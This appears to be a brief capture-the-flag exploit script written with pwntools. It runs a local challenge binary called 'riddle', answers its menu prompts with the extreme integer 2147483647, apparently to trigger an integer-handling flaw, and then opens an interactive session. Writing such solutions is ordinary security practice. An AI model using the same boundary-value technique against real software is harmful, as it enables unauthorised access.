#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./riddle", checksec=False)
r = process()

# funcs
s = lambda a: r.sendlineafter(b">> ", a)
ss = lambda a: r.sendlineafter(b": ", a)

# buf
s(b"1")
ss(b"2147483647")
ss(b"1")

r.interactive()